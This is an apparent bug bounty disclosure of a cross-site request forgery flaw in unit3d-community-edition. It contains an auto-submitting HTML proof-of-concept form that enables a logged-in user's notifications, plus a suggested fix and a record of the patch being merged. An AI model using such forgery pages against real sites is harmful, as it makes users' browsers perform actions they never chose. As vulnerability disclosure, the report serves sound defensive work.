Cross-Site Request Forgery (CSRF) in hdinnovations/unit3d-community-edition

Valid

Reported on

Aug 4th 2021


✍️ Description

Attacker is able to enable a user notification if a logged in user visits attacker website.

🕵️‍♂️ Proof of Concept

  1. when you logged in open this POC.html in a browser
  2. you can check your notification is enable
<html>
 <body>
 <script>history.pushState('', '', '/')</script>
   <form action="https://unit3d.site/users/UNIT3D/settings/notification/enable">
     <input type="submit" value="Submit request" />
   </form>
   <script>
     document.forms[0].submit();
   </script>
 </body>
</html>

💥 Impact

This vulnerability is capable of forging user to unintentional enable notification.

💥 Test

Tested on Edge, firefox, chrome and safari.

💥 Fix

You should set a CSRF token on such GET requests or you can use POST instead of GET then because of cookie SameSite is Lax, request from other origins could not carry cookie.

Occurrences

We have contacted a member of the hdinnovations/unit3d-community-edition team and are waiting to hear back a year ago
HDVinnie validated this vulnerability a year ago
Musio has been awarded the disclosure bounty
The fix bounty is now up for grabs
web.php#L327 has been validated
HDVinnie confirmed that a fix has been merged on d4c610 a year ago
HDVinnie has been awarded the fix bounty
to join this conversation